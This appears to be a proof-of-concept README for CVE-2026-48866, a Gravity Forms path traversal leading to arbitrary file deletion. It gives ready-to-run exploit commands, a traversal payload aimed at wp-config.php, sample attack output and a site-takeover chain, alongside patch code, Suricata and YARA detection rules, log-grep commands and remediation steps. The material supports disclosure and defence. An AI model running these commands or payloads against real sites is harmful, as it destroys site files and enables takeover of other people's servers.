CVE-2026-48866

  ┌───────────────────────────────────────────────────────────┐
  │                                                           │
  │   C V E - 2 0 2 6 - 4 8 8 6 6                             │
  │                                                           │
  │   Gravity Forms Path Traversal → Arbitrary File Deletion  │
  │                                                           │
  └───────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────────┐
│  REQUIREMENTS                                                       │
│  ───────────────────────────────────────────────────────────────    │
│  Target    WordPress + Gravity Forms ≤ 2.10.0.1                     │
│  Form      Public form with a file upload field                     │
│  Python    3.8+ with requests                                       │
│  Auth      None (injection) / Admin creds (trigger)                 │
└─────────────────────────────────────────────────────────────────────┘

git clone https://github.com/0xABCD01/CVE-2026-48866.git
cd CVE-2026-48866
pip install requests

# Inject only (unauthenticated — file dies when admin cleans entries)
python3 poc.py -t https://test.com -f 1 -i 3

# Full kill chain (admin creds provided — immediate deletion)
python3 poc.py -t https://test.com -f 1 -i 3 --trigger --admin-user admin --admin-pass 'P@ssw0rd'

  ┌───────────────────────────────────────────────────────────────────────┐
  │                        PHASE 1 — INJECTION                           │
  │                    (Unauthenticated — any visitor)                    │
  ├───────────────────────────────────────────────────────────────────────┤
  │                                                                       │
  │   ┌─────────┐    POST gform_uploaded_files     ┌──────────────────┐  │
  │   │ Attacker │ ──────────────────────────────── │  WordPress AJAX  │  │
  │   └─────────┘    {"input_3": [{"url":           │  admin-ajax.php  │  │
  │                   ".../../../../wp-config.php"}] └────────┬─────────┘  │
  │                                                          │            │
  │                  esc_url_raw() → OK (doesn't strip ../)  │            │
  │                  is_valid_url() → OK (../ is valid URL)   │            │
  │                                                          ▼            │
  │                                                 ┌──────────────────┐  │
  │                                                 │   wp_postmeta    │  │
  │                                                 │   (entry stored  │  │
  │                                                 │   WITH ../)      │  │
  │                                                 └────────┬─────────┘  │
  └──────────────────────────────────────────────────────────┼────────────┘
                                                             │
                               ┌─────────────────────────────┘
                               │  (hours, days, or weeks pass...)
                               ▼
  ┌───────────────────────────────────────────────────────────────────────┐
  │                       PHASE 2 — DELETION                             │
  │                 (Admin deletes entry — routine cleanup)               │
  ├───────────────────────────────────────────────────────────────────────┤
  │                                                                       │
  │   ┌─────────┐    delete_entry(42)              ┌──────────────────┐  │
  │   │  Admin  │ ──────────────────────────────── │  Gravity Forms   │  │
  │   └─────────┘                                  └────────┬─────────┘  │
  │                                                          │            │
  │                  get_physical_file_path()                 │            │
  │                  str_replace(url_base → path_base)        │            │
  │                  ../ SURVIVES in the path                 │            │
  │                                                          ▼            │
  │                                                 ┌──────────────────┐  │
  │                                                 │    unlink()      │  │
  │                                                 │                  │  │
  │                                                 │  /var/www/html/  │  │
  │                                                 │  wp-config.php   │  │
  │                                                 │     → DELETED    │  │
  │                                                 └──────────────────┘  │
  └───────────────────────────────────────────────────────────────────────┘

// forms_model.php — get_physical_file_path()
// Converts stored URL to filesystem path via string replacement
$path_info = GF_Field_FileUpload::get_file_upload_path_info( $url, $entry_id );
$file_path = str_replace(
    trailingslashit( $path_info['url'] ),    // https://target.com/wp-content/uploads/gravity_forms/
    trailingslashit( $path_info['path'] ),   // /var/www/html/wp-content/uploads/gravity_forms/
    $url                                      // .../gravity_forms/../../../wp-config.php
);
// Result: /var/www/html/wp-content/uploads/gravity_forms/../../../wp-config.php
// OS resolves ../../../ → /var/www/html/wp-config.php

  ┌─────────────┐      ┌──────────────────┐      ┌─────────────────┐
  │ Delete       │      │ WordPress shows   │      │ Attacker sets   │
  │ wp-config.php│ ──── │ installer wizard  │ ──── │ own DB creds    │
  └─────────────┘      └──────────────────┘      └────────┬────────┘
                                                           │
                                                           ▼
                                                  ┌─────────────────┐
                                                  │ Full admin      │
                                                  │ access to site  │
                                                  │ (RCE via themes │
                                                  │  /plugin editor)│
                                                  └─────────────────┘

┌──────────────────────────────────────────────────────────────────────────┐
│  USAGE                                                                   │
│  ─────────────────────────────────────────────────────────────────────   │
│  python3 poc.py [OPTIONS]                                                │
│                                                                          │
│  REQUIRED                                                                │
│    -t, --target TARGET       Target WordPress URL                        │
│    -f, --form-id ID          Gravity Forms form ID                       │
│    -i, --field-id ID         File upload field ID                        │
│                                                                          │
│  OPTIONAL                                                                │
│    --file FILE               Relative path to delete (default:           │
│                              wp-config.php)                              │
│    --depth N                 ../ count (default: 3)                       │
│    --trigger                 Auto-delete via admin login                  │
│    --admin-user USER         Admin username (default: admin)              │
│    --admin-pass PASS         Admin password (default: admin)              │
│    --proxy URL               HTTP proxy for intercepting                  │
│    --verify-only             Check target only, don't exploit             │
└──────────────────────────────────────────────────────────────────────────┘

    CVE-2026-48866 - Gravity Forms Arbitrary File Deletion
    ======================================================
    Target:     https://test.com
    Form ID:    1
    Field ID:   3
    File:       wp-config.php
    Depth:      3
    Trigger:    True

[*] === Phase 1: Injecting path traversal payload ===
[*] Fetching form page to get nonce...
[+] Got nonce: a1b2c3d4e5f6
[*] Crafted payload URL: https://test.com/wp-content/uploads/gravity_forms/../../../wp-config.php
[*] Submitting form 1 to https://test.com/wp-admin/admin-ajax.php...
[*] Response status: 200
[+] Form submitted successfully. Malicious URL stored in entry.

[*] === Phase 2: Triggering file deletion as admin ===
[+] Logged in as admin
[+] Found latest entry ID: 42
[*] Deleting entry 42...
[+] Entry deleted. If the target file existed, it should now be deleted.

[*] Checking target site health...
[!!!] Site returned error - wp-config.php may have been deleted!

wp_ajax_nopriv_gform_submit_form                     ← WordPress AJAX, NO AUTH
  └─ GF_Ajax_Handler::submit_form()
      └─ GFAPI::submit_form()
          └─ GFFormDisplay::process_form()
              ├─ GFFormsModel::set_uploaded_files()          [forms_model.php]
              │   └─ esc_url_raw( $file['url'] )             ← does NOT strip ../
              └─ GF_Field_FileUpload::get_value_save_entry() [class-gf-field-fileupload.php]
                  └─ get_multifile_value()
                      ├─ GFCommon::is_valid_url($url)        ← format-only, ../ passes
                      └─ $uploaded_files[] = $file['url']     ← STORED WITH ../

GFFormsModel::delete_lead()                           [forms_model.php]
  └─ GFFormsModel::delete_files( $entry_id )
      └─ delete_physical_file( $file_url, $entry_id )
          ├─ get_physical_file_path( $url )
          │   └─ str_replace( url_base, path_base, $url )    ← ../ PRESERVED
          ├─ file_exists( $file_path )                        ← OS resolves ../
          └─ unlink( $file_path )                             ← ARBITRARY FILE DELETED

public static function get_absolute_path( $path ) {
    $path      = str_replace( array( '/', '\\' ), DIRECTORY_SEPARATOR, $path );
    $path      = str_replace( '://', '|%%protocol%%|', $path );
    $parts     = array_filter( explode( DIRECTORY_SEPARATOR, $path ), 'strlen' );
    $absolutes = array();

    foreach ( $parts as $part ) {
        if ( '.' == $part ) { continue; }
        if ( '..' == $part ) {
            array_pop( $absolutes );
        } else {
            $absolutes[] = $part;
        }
    }

    $path = implode( DIRECTORY_SEPARATOR, $absolutes );
    return str_replace( '|%%protocol%%|', '://', $path );
}

public static function is_file_in_uploads( $file ) {
    $file_path = self::get_absolute_path( $file );
    $root_url  = rgar(
        GF_Field_FileUpload::get_file_upload_path_info( '' ), 'url'
    );
    if ( ! str_starts_with( $file_path, $root_url ) ) {
        return false;
    }
    return true;
}

# Rule 1: Detect ../ traversal in gform_uploaded_files
alert http $EXTERNAL_NET any -> $HOME_NET any ( \
  msg:"CVE-2026-48866 Gravity Forms Path Traversal in gform_uploaded_files"; \
  flow:established,to_server; \
  http.method; content:"POST"; \
  http.request_body; content:"gform_uploaded_files"; \
  content:"../"; distance:0; \
  reference:cve,2026-48866; \
  classtype:web-application-attack; \
  sid:2026048866; rev:1;)

# Rule 2: URL-encoded variant (%2e%2e)
alert http $EXTERNAL_NET any -> $HOME_NET any ( \
  msg:"CVE-2026-48866 Gravity Forms Path Traversal (URL-encoded)"; \
  flow:established,to_server; \
  http.method; content:"POST"; \
  http.request_body; content:"gform_uploaded_files"; \
  content:"%2e%2e"; nocase; distance:0; \
  reference:cve,2026-48866; \
  classtype:web-application-attack; \
  sid:2026048867; rev:1;)

# Rule 3: "url" key with traversal nearby
alert http $EXTERNAL_NET any -> $HOME_NET any ( \
  msg:"CVE-2026-48866 Gravity Forms Malicious URL in Upload Parameter"; \
  flow:established,to_server; \
  http.method; content:"POST"; \
  http.request_body; content:"gform_uploaded_files"; \
  content:"|22|url|22|"; distance:0; \
  content:".."; distance:0; within:200; \
  reference:cve,2026-48866; \
  classtype:web-application-attack; \
  sid:2026048868; rev:1;)

rule CVE_2026_48866_Exploit_Payload {
    meta:
        description = "Detects CVE-2026-48866 payload in HTTP POST data or logs"
        cve         = "CVE-2026-48866"
        severity    = "critical"
        author      = "security-research"
    strings:
        $gform_param = "gform_uploaded_files"
        $traversal1  = "../"
        $traversal2  = "..\\"
        $traversal3  = "%2e%2e%2f" nocase
        $traversal4  = "..%2f" nocase
        $url_key     = "\"url\""
    condition:
        $gform_param and $url_key and any of ($traversal*)
}

rule CVE_2026_48866_Vulnerable_Plugin {
    meta:
        description = "Detects vulnerable Gravity Forms lacking is_file_in_uploads fix"
        cve         = "CVE-2026-48866"
        severity    = "high"
    strings:
        $plugin_id = "gravityforms"
        $vuln_func = "delete_physical_file"
        $fix_func  = "is_file_in_uploads"
    condition:
        $plugin_id and $vuln_func and not $fix_func
}

rule CVE_2026_48866_Patched_Plugin {
    meta:
        description = "Confirms Gravity Forms has the is_file_in_uploads patch"
        cve         = "CVE-2026-48866"
        severity    = "informational"
    strings:
        $plugin_id   = "gravityforms"
        $fix_func    = "is_file_in_uploads"
        $fix_helper  = "get_absolute_path"
    condition:
        $plugin_id and $fix_func and $fix_helper
}

# Scan your Gravity Forms installation
yara -r CVE_2026_48866.yar /var/www/html/wp-content/plugins/gravityforms/

# Apache / Nginx access logs — find exploitation attempts
grep -E 'gform_uploaded_files.*(\.\./|%2e%2e)' /var/log/apache2/access.log
grep -E 'gform_uploaded_files.*(\.\./|%2e%2e)' /var/log/nginx/access.log

# Gravity Forms debug log — check for blocked deletions
grep "Not deleting file from URL" /var/www/html/wp-content/uploads/gravity_forms/debug.log

# Verify your install has the fix
grep -r "is_file_in_uploads" /var/www/html/wp-content/plugins/gravityforms/
# → Results in common.php = patched
# → No results = VULNERABLE

┌─────────────────────────────────────────────────────────────────────────┐
│  REMEDIATION CHECKLIST                                                  │
│  ─────────────────────────────────────────────────────────────────────  │
│                                                                         │
│  [ ] 1. UPDATE Gravity Forms to ≥ 2.10.1                               │
│  [ ] 2. VERIFY fix is present (grep for is_file_in_uploads)            │
│  [ ] 3. AUDIT access logs for past exploitation attempts               │
│  [ ] 4. DEPLOY Suricata/WAF rules as interim protection               │
│  [ ] 5. CHECK file integrity (were any core files already deleted?)    │
│  [ ] 6. MONITOR for new entries with suspicious file URLs              │
│                                                                         │
└─────────────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────────────┐
│  LEGAL NOTICE                                                           │
│  ─────────────────────────────────────────────────────────────────────  │
│                                                                         │
│  This tool is provided for AUTHORIZED SECURITY TESTING and EDUCATIONAL  │
│  PURPOSES ONLY. Unauthorized access to computer systems is illegal      │
│  under the Computer Fraud and Abuse Act (CFAA), EU Computer Misuse      │
│  Directive, and equivalent laws worldwide.                              │
│                                                                         │
│  • Always obtain WRITTEN PERMISSION before testing systems you own.    │
│  • You are responsible for complying with all applicable laws.          │
│  • The authors assume NO LIABILITY for misuse of this software.         │
│                                                                         │
│  If you find this vulnerability in production: REPORT IT.               │
│  Patchstack: https://patchstack.com/database/                           │
│                                                                         │
└─────────────────────────────────────────────────────────────────────────┘